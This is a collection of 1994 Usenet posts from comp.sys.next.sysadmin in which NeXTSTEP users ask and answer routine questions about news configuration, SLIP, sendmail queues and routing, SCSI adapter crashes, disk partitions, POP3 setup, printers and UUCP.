Thanks in advance!! (please email if possible)
-Brad McQuaid
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Jayson's Joke?
Date: 26 Feb 1994 11:37:39 -0000
Organization: me organized? That's a joke!
Message-ID: <2knca3$216@steffi.demon.co.uk>
References: <2klki2$q01@chiton.ucsd.edu>
cdl@chiton.ucsd.edu (Carl Lowenstein) wrote in comp.sys.next.sysadmin
>
>So I installed the latest version of NewsGrazer on a NeXTstation.
>Along the way, a window popped up asking me to tell it things like
>"Organization:". I figured that this could be saved until later,
>and went onward. Now when I post something from that machine I get
>the interesting line shown at the end of this excerpt:
>
> Article 10 of sdnet.next:
> Path: network.ucsd.edu!usenet
> From: cdl@helium.ucsd.edu (Carl Lowenstein)
> Newsgroups: comp.sys.next.misc,sdnet.next
> Subject: Re: Missing NeXTworld magazine?
> Date: 22 Feb 1994 22:39:32 GMT
> Organization: A poorly-installed InterNetNews site
>
>And I can't find the magic combination to get back to the window
>that sets "Organization:". Is it really part of NewsGrazer, or
>some other administrative detail that I have overlooked?
>
This is because you have a poorly configured INN configuration. Have
you administrator look at inn.conf in $NEWSDIR
Jayson is NOT responsible for the free Newsgrazer release.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: ian_stewart@nyro.com (Ian H. Stewart)
Subject: DOS driver for NEXT CDROM drv
Message-ID: <CLu2yI.2Ix@nyro.com>
Keywords: cdrom next driver dos
Sender: ian@nyro.com (Ian H. Stewart)
Organization: NYRO Technix, Inc. - 415 664-1170
Date: Sat, 26 Feb 1994 13:32:41 GMT
Where can I find a driver to use my NeXT CDROM under DOS 6.x?
If you have a copy feel free to NeXTmail it.
Thanks for any pointers.
ihs
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Jayson's Joke?
Message-ID: <1994Feb26.121233.949@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2klki2$q01@chiton.ucsd.edu>
Date: Sat, 26 Feb 1994 12:12:33 GMT
The Organization field is not set in NewsGrazer. It's set in C-News or
whatever news software you have installed on your system.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2klki2$q01@chiton.ucsd.edu> cdl@chiton.ucsd.edu (Carl
Lowenstein) writes:
>
> So I installed the latest version of NewsGrazer on a NeXTstation.
> Along the way, a window popped up asking me to tell it things like
> "Organization:". I figured that this could be saved until later,
> and went onward. Now when I post something from that machine I get
> the interesting line shown at the end of this excerpt:
>
> Article 10 of sdnet.next:
> Path: network.ucsd.edu!usenet
> From: cdl@helium.ucsd.edu (Carl Lowenstein)
> Newsgroups: comp.sys.next.misc,sdnet.next
> Subject: Re: Missing NeXTworld magazine?
> Date: 22 Feb 1994 22:39:32 GMT
> Organization: A poorly-installed InterNetNews site
>
> And I can't find the magic combination to get back to the window
> that sets "Organization:". Is it really part of NewsGrazer, or
> some other administrative detail that I have overlooked?
>
> carl
> carl lowenstein marine physical lab u.c. san
diego
> {decvax|ucbvax} !ucsd!mpl!cdl
cdl@mpl.ucsd.edu
>
clowenstein@ucsd.edu
> --
> carl lowenstein marine physical lab u.c. san
diego
> {decvax|ucbvax} !ucsd!mpl!cdl
cdl@mpl.ucsd.edu
>
clowenstein@ucsd.edu
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
From: dwells@world.std.com (David Wells)
Subject: Help! I'm a SLIP moron!
Message-ID: <CLuDG3.D3z@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
Date: Sat, 26 Feb 1994 17:19:14 GMT
Just when I though I was getting the hang of this unix thing, I tried ti install SLIP on my 040 station running 3.0. I think I have most of the configuration done right, but I get messages like "port 190 unavailable" and "dev/dialup1 no such device". I'm not having any luck treing to glean what I need from the the docs, a reflection more of my own stupidity than the quality of the docs, I suspect. Does anyone have a way to set up one machine to a unix-based slip remote server? If you could point me to
some other docs, that would be great to. I've been working all morning, and would greatly appreciate any help. Thanks in advance,
Dave Wells
From: izumi@mindseye.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Are multiple partitions on local harddisks possible in 3.2?
Date: 26 Feb 1994 21:31:09 GMT
Organization: /etc/organization
Message-ID: <2kof2t$llo@agate.berkeley.edu>
References: <2klb7v$s60@cs.ubc.ca>
In article <2klb7v$s60@cs.ubc.ca> croehrig@cs.ubc.ca (Chris Roehrig) writes:
>
>I'd like to set up my 3.2 (Motorola) boot disk with 2 partitions.
>However, I came across this in the 3.2 release notes
>(NetworkConfiguration.rtf):
>
>>Multiple UNIX file system partitions on a local disk may cause
>>problems with Workspace Manager. Don't create multiple partitions
>>on a single local, automounted device.
It says it could be a problem with automounted device, which
I assume, does not apply to device mounted explicitly at boot
time via /etc/fstab entries. For these partitions mounted
at boot time, Workspace Manager doesn't get involved.
Boot disk's root partition is always in /etc/fstab, so
as long as you have the second partion on this boot disk also
listed in /etc/fstab, there shouldn't be a problem.
I don't have two partition boot disk with 3.2, but I do have
a 2.0GB DEC 5200S divided into two 1GB partions and have
them mounted as sd3a and sd3b with no problems on 3.2 via
/etc/fstab.
--
Izumi Ohzawa [ $BBg_78^=;(B ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTmail OK)
From: hsr@cs.Stanford.EDU (Scott Roy)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Re: Octave. Problem connecting to gnuplot.
Date: 26 Feb 1994 23:28:39 GMT
Organization: Stanford University: Computer Science Department
Distribution: world
Message-ID: <2kolv7$bk3@Times.Stanford.EDU>
References: <GISLI.94Feb25010552@timoshenko.eecs.umich.edu>
Gisli Ottarsson writes,
|
| octave:1> gplot rand (100,1) with linespoints
| warning: plot: unable to open pipe to `gnuplot'
|
The problem lies not with octave, but with v.2.5.3 (and possibly earlier
versions) of libg++. Octave uses the iopopen.c stuff contained in libg++
which is disabled on a NeXT. Unfortunately, you're not going to be able
to fix things if you're working directly from the binary octave
distribution.
When I discovered this problem running octave-0.79, I patched libg++ by
adding these two lines near the beginning of libio/iopopen.c:
#undef _IO_HAVE_SYS_WAIT
#define _IO_HAVE_SYS_WAIT 1
These might break things since they fool the system into thinking it has
POSIX, but everything seemed to work just fine for octave-0.79. I'm in
the process of compiling octave-1.0 and will post if things work out
differently.
---
Scott Roy
Department of Computer Science
Stanford University
From: steve@eps.RAIN.COM (Steve Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP and EMAIL
Date: 27 Feb 1994 00:29:34 GMT
Organization: PSGnet, Portland Oregon, US
Distribution: world
Message-ID: <2kophf$h4g@rain.psg.com>
My dedicated slip provider has gone under so I am forced on using a pay per hour connect
service. My question is when I compose mail and then deliver while not online my mail sits in
the mail que with an "Deferred: Network is unreachable" messag.. Is there anything I can do?
Is there a way I can force the mailq to retry?
--
Steve Kornreich
steve@eps.rain.com
NeXTmail OK..
From: lusty@lusty.tamu.edu (Lusty Wench)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP and EMAIL
Date: 27 Feb 1994 01:19:12 GMT
Organization: Me
Message-ID: <2koseg$7lg@news.tamu.edu>
References: <2kophf$h4g@rain.psg.com>
In article <2kophf$h4g@rain.psg.com>,
Steve Kornreich <steve@eps.RAIN.COM> wrote:
>My dedicated slip provider has gone under so I am forced on using a pay per hour connect
>service. My question is when I compose mail and then deliver while not online my mail sits in
>the mail que with an "Deferred: Network is unreachable" messag.. Is there anything I can do?
>Is there a way I can force the mailq to retry?
I've installed sendmail 8.6.4, so it might be different, but I
imagine this command would be the same as in the sendmail that
Next ships. Just run
/usr/lib/sendmail -q
I think I had to be something like root to do it.
The man page on sendmail describes the -q option.
Lusty
From: kay@nagasena.muc.de (Kay Schulz)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: PhotoCD on DEC (Toshiba) CD-ROM drives
Date: 26 Feb 1994 05:13:30 GMT
Organization: School and Education Centre
Sender: kay@nagasena (Kay Schulz)
Distribution: world
Message-ID: <2kmlpq$147@nagasena.muc.de>
References: <CLop5o.9I4@donau.in-ulm.de> <CLqC83.wo@tms-gmbh.de>
Hi
I use a Toshibae 3401 on white Hardware. XAmode didn't work always for me. It works since I put the CDROm into my tower. When I used it extern, I got an error:
Error During COmmand Execution
But now it works fine
--
Kay Schulz
kay@nagasena.muc.de
NeXTmail accepted
Solaris 2.1: it's slow, needs 200M of disk space and comes without C compiler,
which makes it remarkably close to MS-Windows. oleg@gd.cs.csufresno.edu
Newsgroups: comp.sys.next.sysadmin
From: 70313.1574@compuserve.com (Ron Wagner)
MMDF-Warning: Parse error in original version of preceding line at demon.demon.co.uk
Subject: fsck help
Date: Sun, 27 Feb 1994 04:32:32 +0000
Message-ID: <940227043231_70313.1574_CHV53-1@CompuServe.COM>
Sender: usenet@demon.co.uk
I have a Intel box witha external harddrive I booted my system today and I got this message
Software Version 3.2 (Thunder5S)
looking for block 0 label
probing for DOS
Filesystem name: DOS
Feb 26 08:04:46 Workspace: Mounted DOS disk at /DOS
/usr/etc/fsck -p /dev/rsd0a
Can't read label on /dev/rsd0a.
(null pointer): CAN'T CHECK FILE SYSTEM.
(null pointer): UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
[try one more time...]
/usr/etc/fsck -p /dev/rsd0a
/dev/rsd0a: PARTIALLY ALLOCATED INODE I=7
/dev/rsd0a: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
Feb 26 08:05:07 Workspace[173]: no repair table on completion of repair of sd0
My question is what do I do now? My harddrive has approx 150 megs worth of programs and I wouldn't want to lose them My external drive is a
Thanks in advance for any help
Ron/exit
Newsgroups: comp.sys.next.sysadmin
From: mckelvey@fafnir.com (James W. McKelvey)
Subject: Mail Routing Problem
Message-ID: <CLv5sK.8Bt@fafnir.com>
Sender: mckelvey@fafnir.com (James W. McKelvey)
Organization: Fafnir Software, Saugus, CA, USA
Date: Sun, 27 Feb 1994 03:31:31 GMT
I'm hoping someone can help me with a bizarre mail routing problem. I
have a local mailhost "suite" which serves mail for ten other machines.
All users are network users. All machines except suite run
sharedsubsidiary.cf. There is a gateway to the Dallas office which has
an Internet connection. I'd like to define that gateway as the default
gateway on all hosts, so people can telnet and ftp to Dallas and the
Internet.
The problem is that when I do, all mail goes out the gateway, even when
I send mail to myself. The only solution I have come up with is to NOT
define the default gateway on any machine but the mailhost, which
forces people to telnet to the mailhost to telnet and ftp.
I've tried playing with the sendmail config files, nothing seems to
work.
I've attached an example of what happens. "bilbo" is the mailhost for
the Dallas office.
Here are the routes, note the default route:
netstat -r
Routing tables
Destination Gateway Flags Refs Use Interface
localhost localhost UH 6 16457 lo0
default 149.56.172.254 UG 0 142 en0
149.56.128 149.56.172.254 UG 0 0 en0
next-default sleepy U 52 1723258 en0
149.56.173 149.56.172.254 UG 0 0 en0
149.56.175 149.56.172.254 UG 1 2358 en0
sendmail tells me it resolves to the right place:
sleepy:sendmail>/usr/lib/sendmail -d0.4 -bt
Version NX5.67d
canonical name: sleepy
fqdn: sleepy.suite.com
ADDRESS TEST MODE
Enter <ruleset> <address>
[Note: No automatic ruleset 3 call]
> 30 mckelvey
rewrite: ruleset 30 input: "mckelvey"
rewrite: ruleset 3 input: "mckelvey"
rewrite: ruleset 3 returns: "mckelvey"
rewrite: ruleset 0 input: "mckelvey"
rewrite: ruleset 9 input: "mckelvey"
rewrite: ruleset 9 returns: "mckelvey"
rewrite: ruleset 0 returns: $# "etherl" $@ "mailhost" $: "mckelvey"
rewrite: ruleset 30 returns: $# "etherl" $@ "mailhost" $: "mckelvey"
But when I send mail to myself, it goes straight to bilbo:
> sleepy:sendmail>mail -v mckelvey
Subject: test
test
.
EOT
mckelvey... Connecting to bilbo.suite.com (etherl)...
220 bilbo.suite.com Sendmail NX5.67d/NX3.0M ready at Wed, 23 Feb 94
18:25:24 -0600
>>> HELO sleepy.suite.com
250 bilbo.suite.com Hello sleepy.suite.com (sleepy), pleased to meet
you
>>> MAIL From:<root>
250 <root>... Sender ok
>>> RCPT To:<mckelvey>
250 <mckelvey>... Recipient ok
>>> DATA
354 Enter mail, end with "." on a line by itself
>>> .
250 Ok
>>> QUIT
221 bilbo.suite.com closing connection
mckelvey... Sent
sleepy:sendmail>
Then we eliminate the default route:
sleepy:sendmail>/usr/etc/route delete default 149.56.172.254
delete net default: gateway 149.56.172.254
sleepy:sendmail>netstat -r
Routing tables
Destination Gateway Flags Refs Use Interface
localhost localhost UH 2 16521 lo0
149.56.128 149.56.172.254 UG 0 0 en0
next-default sleepy U 49 1723661 en0
149.56.173 149.56.172.254 UG 0 0 en0
149.56.175 149.56.172.254 UG 1 2371 en0
sendmail gives me the same answer:
sleepy:sendmail>/usr/lib/sendmail -d0.4 -bt
Version NX5.67d
canonical name: sleepy
fqdn: sleepy.suite.com
ADDRESS TEST MODE
Enter <ruleset> <address>
[Note: No automatic ruleset 3 call]
> 30 mckelvey
rewrite: ruleset 30 input: "mckelvey"
rewrite: ruleset 3 input: "mckelvey"
rewrite: ruleset 3 returns: "mckelvey"
rewrite: ruleset 0 input: "mckelvey"
rewrite: ruleset 9 input: "mckelvey"
rewrite: ruleset 9 returns: "mckelvey"
rewrite: ruleset 0 returns: $# "etherl" $@ "mailhost" $: "mckelvey"
rewrite: ruleset 30 returns: $# "etherl" $@ "mailhost" $: "mckelvey"
and the mail goes to the correct place:
> sleepy:sendmail>mail -v mckelvey
Subject: test
test
.
EOT
mckelvey... Connecting to mailhost (etherl)...
220 suite.com Sendmail NX5.67d/NX3.0M ready at Wed, 23 Feb 94 16:32:14
-0800
>>> HELO sleepy.suite.com
250 suite.com Hello sleepy.suite.com (sleepy), pleased to meet you
>>> MAIL From:<root>
250 <root>... Sender ok
>>> RCPT To:<mckelvey>
250 <mckelvey>... Recipient ok
>>> DATA
354 Enter mail, end with "." on a line by itself
>>> .
250 Ok
>>> QUIT
221 suite.com closing connection
mckelvey... Sent
sleepy:sendmail>
Any ideas?
--
What I did must have been right, or an angel would
have stopped me, just as the angel stopped Abraham
in the Bible. -- Albert Fish, the cannibal
Jim McKelvey mckelvey@fafnir.com
From: ramesh@bodhi.esys.cwru.edu (Ramesh Dodamani)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: EATA timeout?
Date: 27 Feb 1994 06:49:28 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <2kpfpo$28d@usenet.INS.CWRU.Edu>
References: <next2.762032406@info2.rus.uni-stuttgart.de>
In article <next2.762032406@info2.rus.uni-stuttgart.de>
next2@info2.rus.uni-stuttgart.de (Markus Wenzel) writes:
> mow@marsu.tynet.sub.org (Markus Wenzel) writes:
>
>
> Could all guys with 2022 adapters and frequent crashes due to SCSI
timeouts
>
> - post their complete configuration here (DPT BIOS rev., SCSI devices
> attached to
> - post their MTBC (mean time between crash :-)
> - contact DPT and/or NeXT about it? It is a nightmare that the most
> sophisticated EISA SCSI controller is unusuable! I nearly lost a few
> days work yesterday because my super block got corrupted in the last
> SCSI lockup. It is the third time in two weeks when I had to restore
> a GB disk.
>
> Let me take the first entry in the "DPT trouble database":
>
> EISA/VL 486DX2 66, SiS Chipset, AMI BIOS, 32 MB
> DPT 2022/95, BIOS Rev. 2C (purchased in January 94)
> Toshiba CD-ROM 3201, Sankyo CP 525 QIC,
> DEC DSP 3053L, IBM 0662S12 (with active termination on).
>
> MTBC: about 2 days.
>
I had similar problems. It crashed twice in a week and this happened three
times in the last 2 months.
My config is similar:
EISA/VL 486DX2 66, SiS Chipset, AMI BIOS, 32 MB
DPT 2022/95, BIOS Rev. 2B
Archive Viper 525MB Tape Drive
Seagate 1GB Drive.
Ramesh
=======================================================
Ramesh Doddamani
Crawford Hall, # 604
Case Western Reserve University
Cleveland OH 44106
=======================================================
From: tlm@ameslab.gov (Tom Marchioro)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP and EMAIL
Date: 27 Feb 1994 06:59:57 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2kpgdd$kda@news.iastate.edu>
References: <2koseg$7lg@news.tamu.edu>
Lusty Wench writes
[]In article <2kophf$h4g@rain.psg.com>,
[]Steve Kornreich <steve@eps.RAIN.COM> wrote:
[]>My dedicated slip provider has gone under so I am forced on using a pay
per hour connect
[]>service. My question is when I compose mail and then deliver while not
online my mail sits in
[]>the mail que with an "Deferred: Network is unreachable" messag.. Is
there anything I can do?
[]>Is there a way I can force the mailq to retry?
[]
[]
[]I've installed sendmail 8.6.4, so it might be different, but I
[]imagine this command would be the same as in the sendmail that
[]Next ships. Just run
[]
[]/usr/lib/sendmail -q
[]
[]I think I had to be something like root to do it.
[]The man page on sendmail describes the -q option.
You also might want to consider getting the shareware Application
SLIPCommander. SLIPCommander has many many useful features if you're
SLIPping on regularly, just one of which is that it flushes the mail queues
automatically when you SLIP up. It can also be set to dial in
automatically once per day and download your mail from an intermediate
host, a feature which might be useful if you are stuck paying by the minute
for SLIP connections.
There should be a demo on the various archives. Just a satisfied user :)
Tom
--
Dr. Thomas L. Marchioro II Two-wheeled theoretical physicist
Center for Physical and
Computational Mathematics 515-294-5543
Ames Laboratory 515-233-1216 (home)
Ames, Iowa 50011 tlm@iastate.edu
From: grio@next.com (Dan Grillo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: EATA timeout?
Date: 27 Feb 1994 09:45:53 GMT
Organization: Technical Support, NeXT Computer, Inc.
Message-ID: <2kpq4h$dn3@rosie.next.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Versions: dmail 1.8z/makemail 2.1b
ramesh@bodhi.esys.cwru.edu writes in comp.sys.next.sysadmin:
> In article <next2.762032406@info2.rus.uni-stuttgart.de>
> next2@info2.rus.uni-stuttgart.de (Markus Wenzel) writes:
> > mow@marsu.tynet.sub.org (Markus Wenzel) writes:
> >
> > Could all guys with 2022 adapters and frequent crashes due to SCSI
> timeouts
Try running your DPT cards at 5Mb/sec instead of 10Mb/sec.
Sincerely,
Dan Grillo
System Support Engineer
NeXT Technical Support
From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: How Partition NS-built drive?
Date: 27 Feb 1994 12:13:23 GMT
Organization: University of Maryland, College Park
Message-ID: <2kq2p3$hp0@cville-srv.wam.umd.edu>
Hi,
I'm a drive novice and PC novice. Can I partition
a drive (540 mb) on which NS is already installed
to set aside room for DOS/WIN or OS/2? I'd like
to have the choice of booting into them.
How do I do this, if possible?
Thanks
L.A. Brooks
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: update on really fatal NS 3.2 Intel crashes: (DPT-2022 SCSI)
Date: 26 Feb 1994 15:03:06 +0100
Organization: Palumbian Research Labs
Message-ID: <2knkqq$5kk@marsu.tynet.sub.org>
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hamps@richibucto.jpl.nasa.gov (John B. Hampshire II) writes:
>I am still not sure, though. Eric Norum says that his SCSI cabling
>and termination setup was responsible for similar crashes. I have
>a double-length internal SCSI cable, owing to the number of internal
>SCSI devices I have, so maybe the
>Maximum Transfer Rate................ 10MB/s
>is too high (the NeXTAnswers note warns that you must have really
>good
>cabling for 10Mb/s; otherwise, use 5Mb/s).
My 2021 works great with the same cabling and the same drives, even at
10 MB/s, but my 2022 crashes. So I do not think it is related to the
transmission rate - I had also crashes with the 2022 at 5 MB/s.
The weird thing about is that DrivePerformance gives a better result
with a 2021 at 5 MB/s than at 10 MB/s. Anyone a clue?
Regards,
Markus.
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From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Compiling nn under NeXTSTEP 3.2 (Motorola)
Date: 26 Feb 1994 15:05:55 +0100
Organization: Palumbian Research Labs
Message-ID: <2knl03$5m1@marsu.tynet.sub.org>
References: <1994Feb25.020250.15164@henson.cc.wwu.edu>
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Keywords: nn no news NeXTSTEP motorola 3.2
rexfelis@rws19.xpr.cs.wwu.edu (Leif Harrison) writes:
> I'm having a bunch of problems compiling nn version 6.4.18 for
>NeXTSTEP 3.2 black. It basically seems to be barfing on the makefile
>and some of the code, and I don't have time to track down what the deal
>is.
> Does anyone have a "NeXT-ready" version of the source and/or
>executable, or a reasonably quick way to get it to compile?
The first step to success is defining the preprocessor variable as
"/lib/cpp" instead of "cc -E". With this change, the makefile creation
should work, and the rest of the source needs only minor porting.
Regards,
Markus.
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From: eagle@nest.catt.ncsu.edu (Daniel C. L'Hommedieu)
Subject: Screwed up optical
Message-ID: <1994Feb27.170528.19738@ncsu.edu>
Sender: news@ncsu.edu (USENET News System)
Organization: NCSU CATT Program
Date: Sun, 27 Feb 1994 17:05:28 GMT
Greetings! I didn't really know where to put this article, so I put it
here. Anyway, I was playing with my new Cube the other day and screwed
up one of my two boot opticals. (I have no HD yet...) Now, the Cube is
looking for Yellow Pages, which runs nowhere on our network.
Anybody have any ideas on how I can get this Optical to boot and not
look for YP?
Daniel
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From: buchanan@math.ncsu.edu (Bob Buchanan)
Subject: Help! Can't print!
Message-ID: <1994Feb27.203858.28061@ncsu.edu>
Originator: buchanan@math.ncsu.edu
Sender: news@ncsu.edu (USENET News System)
Organization: NCSU Mathematics Dept.
Distribution: usa
Date: Sun, 27 Feb 1994 20:38:58 GMT
I'm having trouble with my NeXT Laser printer. I have several theories but
haven't been able to narrow my list to the real problem. When my system
(NS3.2 black) boots, the printer power is not cycled on. The print panel
on any application says no printers are available. When I do an
nppower on, I get the response
> /usr/etc/nppower on
?Could not open /dev/np0!
The printers panel in PrinterManager.app contains an entry for a Next Printer
but the Test button is grayed out and thus non-active. When I do an
nidump I get
> nidump printcap .
Printer Local_Printer can't be represented in printcap format.
localhost_fax: \
:lf=/usr/adm/lpd-errs:af=/usr/adm/lp.acct:sh=: \
:if=/usr/lib/NextPrinter/NXFax_Fax_Modem:note=:ty=NXFax Fax Modem: \
:sd=/usr/spool/NeXT/localhost_fax:lp=/dev/null:
The problem might be as simple as a blown fuse in the printer, but how can
I tell? What strategy can I use to nail down the cause of this problem?
Also, this problem cropped up in the aftermath of an upgrade to NS3.2
(though I can't say there's a definite cause and effect relationship).
Any suggestions would be appreciated. Also, in case it is a hardware problem,
who can handle repairs on NeXT hardware in the Raleigh, Durham, Chapel Hill,
North Carolina area? Please reply by email.
Bob Buchanan (Bob_Buchanan@ncsu.edu)
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From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: EATA timeout?
Date: 27 Feb 94 21:39:24 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.762385164@info2.rus.uni-stuttgart.de>
References: <2kpq4h$dn3@rosie.next.com>
grio@next.com (Dan Grillo) writes:
>Try running your DPT cards at 5Mb/sec instead of 10Mb/sec.
1. It even crashed with 5 MB.
2. I did not buy Fast-SCSI-II disks and an EISA SCSI adapter in order
to limit its performance to 5 MB/s.
3. 2021 works with 10 MB/s (but performs slower than with 5 MB/s jumpered).
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From: buzz@cs.tu-berlin.de (Bastian Schlueter)
Newsgroups: comp.sys.next.sysadmin
Subject: Sources for clri wanted
Date: 27 Feb 1994 23:33:37 GMT
Organization: Berlin University of Technology
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Hello Everybody,
I am lookibg for the sources of clri (a program to clear an inode).
I have one from the NetBSD-Sources but it complains about DEV_BSIZE
not defined. And I don't want to play with it since I want to repair
my FS (and not destroy it :-)
Does anybody have such sources ready for NeXTstep, or knows where I
can get them?
Greetings
Bastian
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From: byrd@rice.edu (Marc J. Byrd)
Subject: POP3 or SMTP on NeXT?
Message-ID: <CLr24J.BwL@rice.edu>
Originator: byrd@presto.rice.edu
Sender: news@rice.edu (News)
Organization: Rice University
Date: Thu, 24 Feb 1994 22:21:54 GMT
Dear Next-Netters,
I would like to configure my cube as a mail server for
several PC's using POP3 if possible, and SMTP as a last
resort.
I obtained "popper-1.831beta" and followed its installation
instructions very explicitly. I saw no error or warning
messages. Yet it doesn't work. For instance,
if I "telnet nachste 110" I get "Trying nachste... Connection
refused".
I also tried going thru NetInfoManager, services, then edited
the "pop" entry placed there by my manual attempts. Still no luck.
Suggestions? Need more info?
Thanks in advance,
Marc
byrd@rice.edu
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From: dbora@ils.nwu.edu (Donald Bora)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.misc
Subject: lipo availability
Date: 28 Feb 1994 01:56:45 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <2krj0t$spj@anaxagoras.ils.nwu.edu>
I ran into a slight problem trying to get TransSys PNI Slip to
work on my Next. I need either NS 3.1 or lipo to suck the 68000
kernel stuff out of the fat kernel. Would anyone out
there be willing to send me lipo? I don't have the moolah
to shell out for a version upgrade right now. ( I was told
that lipo was available on 3.1 or >... )
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: POP3 or SMTP on NeXT?
Date: 28 Feb 1994 02:34:49 GMT
Organization: San Francisco State University
Message-ID: <2krl89$7cr@nic-nac.CSU.net>
References: <CLr24J.BwL@rice.edu>
In article <CLr24J.BwL@rice.edu> byrd@rice.edu (Marc J. Byrd)
writes:
>I obtained "popper-1.831beta" and followed its installation
>instructions very explicitly. I saw no error or warning
>messages. Yet it doesn't work. For instance,
>if I "telnet nachste 110" I get "Trying nachste... Connection
>refused".
You need to add a line like
pop3 stream tcp nowait root /.../popper popper
to /etc/inetd.conf and send SIGHUP to the running inetd process.
>I also tried going thru NetInfoManager, services, then edited
>the "pop" entry placed there by my manual attempts. Still no luck.
This is what I have:
% nidump services .|fgrep pop
pop 109/tcp postoffice
pop-3 110/tcp pop3
Also, you may want to add a line to /etc/syslog.conf like
local0.notice;local0.debug /.../logfile
You need to create an empty logfile--syslogd won't do it for you.
[Replace the /.../s with appropriate paths]
-=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: lipo availability
Date: 28 Feb 1994 02:44:07 GMT
Organization: San Francisco State University
Message-ID: <2krlpn$7ri@nic-nac.CSU.net>
References: <2krj0t$spj@anaxagoras.ils.nwu.edu>
[Inappropriate crossposting removed]
In article <2krj0t$spj@anaxagoras.ils.nwu.edu> dbora@ils.nwu.edu
(Donald Bora) writes:
> I need either NS 3.1 or lipo
Didn't someone write a lipo replacement called "jenny"
(as in Craig) specifically for pre-3.1 users?
-=EPS=-
From: hacker@access1.digex.net (Dark Hacker)
Newsgroups: comp.sys.next.sysadmin
Subject: Disabled my sendmail.cf with NetWare?
Date: 28 Feb 1994 00:26:45 -0500
Organization: Fortress Of Computation
Message-ID: <2krval$jie@access1.digex.net>
Well here's a weird one. A friend of mine and I tried to hook up an
IBM PC+ethernet board to my NeXT today with the PC side running KA9Q.
We failed to get the two machines talking, but that's not really the
problem. Let me describe what happened...
We installed the ethernet board in the PC, booted the NeXT with the two
machines connected via thinnet, got the expected "your net is disabled
please hit 'c'" message on the NeXT and used SimpleNetStarter.app/
NetInfoManager.app to set up the connection. For grins we tried turning
on NetWare to see if the NeXT side implimented the server side of NetWare.
Well after experimenting with the two machines we packed up but now
NeXTMail is refusing to deliver my mail via UUCP. Everything else seems
to work but somehow I managed to break NeXTMail so that all non-local
mail generates return mail with the following message:
Could not deliver mail to:
joe_hacker@big-machine.nasa.gov (ddn) Authoritative name server
did not recognize host)
This mail returns almost immediately which tells me the error is
definately in the NeXT because the only other net connection I
have is a uucp link that only calls out periodically. So....
NetInfoManager somehow messed up the net info. I do notice
that all of the attributes for smtp, uucp, etc have been set to
tcp. Hmmmmmmm.... but maybe some of those should be UUCP. Sigh.
Anyone know what I should do here? Go back by hand and change some
of those tcp attribues back to uucp? Which ones? Or some magic
switch? I did try using HostSetupManager.app (something like that)
and it corresponds exactly to what the local host setup should look
like in my old vintage 2.1 manuals.
I've tried this with the terminated ethernet cable plugged into the
back and with it unplugged. Same results.
Appreciate some advice via email....
- Hacker
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From: eagle@nest.catt.ncsu.edu (Daniel C. L'Hommedieu)
Subject: Setting up printers
Message-ID: <1994Feb28.042441.17692@ncsu.edu>
Sender: news@ncsu.edu (USENET News System)
Organization: NCSU CATT Program
Date: Mon, 28 Feb 1994 04:24:41 GMT
Greetings, all! I'm having trouble setting up my printer with my new
Cube. I am on ethernet with some DECstations around here. One of them
is our print server. I wanted to print to one of its printes, so I
copied the /etc/printcap on that machine to my own (we have many
computers printing on those printers, so I just took a working
/etc/printcap). It does't work on the NeXT, though. I created
/usr/spool/lpd/xxx (where xxx is the names of the 2 printers we have).
But, npd and lpd don't recognize those printes.
Anybody have any tips?
Daniel
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From: dougie@ATHENA.MIT.EDU (David R Williams)
Newsgroups: alt.sys.amiga.uucp,comp.sys.next.sysadmin
Subject: UUCP problems (NeXT -> Amiga)
Date: 28 Feb 1994 07:45:40 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <2ks7f4$253@senator-bedfellow.MIT.EDU>
I'm trying to get Dillon's UUCP (v1.16D) to work with a NeXT running NS
2.1. The two systems seem to be communicating ok, but I'm having a
problem with the mail when it travels from the NeXT to the amiga.
There are ^M's all through the !#@)(* file! Here's a sample of what's
getting delivered:
From figment^M!ns1.rutgers.edu!latzko Mon, 28 Feb 94 02:07:05 EST
Received: by dfnog.UUCP (V1.16/Amiga)
id AA00000; Mon, 28 Feb 94 02:07:05 EST
Received: from MIT.EDU (MIT.MIT.EDU) by figment (NeXT-1.0 (From Sendmail 5.\
